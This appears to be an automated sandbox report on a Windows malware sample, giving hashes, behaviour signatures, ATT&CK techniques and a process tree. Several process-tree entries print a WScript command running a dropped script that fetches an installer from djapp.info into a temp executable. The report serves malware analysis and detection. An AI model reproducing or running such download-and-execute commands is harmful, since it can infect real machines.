8581dee0c6161056c182d528e6a07c28ee77d3bc372733055c8a257677099dcf

General

Target

345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe
Size

184KB
MD5

345178b7b39cc1ed9c3207feee3eb96c
SHA1

ae064f76eaf59538267adbacf38f5116783ed2cb
SHA256

8581dee0c6161056c182d528e6a07c28ee77d3bc372733055c8a257677099dcf
SHA512

72034603aba9ab74635060d4aa20a6d66b6350f0fbd11998d455e6b8a772a8ec824dfed28f36ccf96fba11d785460daa5724ba2bfcf2a3641939dd4c065faff8
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO37:/7BSH8zUB+nGESaaRvoB7FJNndnq

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

Processes:

WScript.exeWScript.exeWScript.exeWScript.exeWScript.exe

flow pid process

18 1976 WScript.exe
27 556 WScript.exe
28 556 WScript.exe
40 2812 WScript.exe
48 4568 WScript.exe
53 3004 WScript.exe

flow	pid	process
18	1976	WScript.exe
27	556	WScript.exe
28	556	WScript.exe
40	2812	WScript.exe
48	4568	WScript.exe
53	3004	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3832 2944 WerFault.exe 345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe

pid	pid_target	process	target process
3832	2944	WerFault.exe	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe

Modifies registry class 1 IoCs

Processes:

345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe

description	pid	process	target process
PID 2944 wrote to memory of 1976	2944	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2944 wrote to memory of 1976	2944	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2944 wrote to memory of 1976	2944	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2944 wrote to memory of 556	2944	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2944 wrote to memory of 556	2944	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2944 wrote to memory of 556	2944	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2944 wrote to memory of 2812	2944	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2944 wrote to memory of 2812	2944	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2944 wrote to memory of 2812	2944	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2944 wrote to memory of 4568	2944	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2944 wrote to memory of 4568	2944	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2944 wrote to memory of 4568	2944	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2944 wrote to memory of 3004	2944	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2944 wrote to memory of 3004	2944	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2944 wrote to memory of 3004	2944	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe

C:\Users\Admin\AppData\Local\Temp\345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2944

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufE55F.js" http://www.djapp.info/?domain=MstxoKbGeA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fufE55F.exe
2⤵
- Blocklisted process makes network request
PID:1976

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufE55F.js" http://www.djapp.info/?domain=MstxoKbGeA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fufE55F.exe
2⤵
- Blocklisted process makes network request
PID:556

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufE55F.js" http://www.djapp.info/?domain=MstxoKbGeA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fufE55F.exe
2⤵
- Blocklisted process makes network request
PID:2812

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufE55F.js" http://www.djapp.info/?domain=MstxoKbGeA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fufE55F.exe
2⤵
- Blocklisted process makes network request
PID:4568

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufE55F.js" http://www.djapp.info/?domain=MstxoKbGeA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fufE55F.exe
2⤵
- Blocklisted process makes network request
PID:3004

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2944 -s 1448
2⤵
- Program crash
PID:3832

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4068,i,7012731823941922179,12386606396608877869,262144 --variations-seed-version --mojo-platform-channel-handle=4292 /prefetch:8
1⤵
PID:4404

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2944 -ip 2944
1⤵
PID:2988

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\fufE55F.js
Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads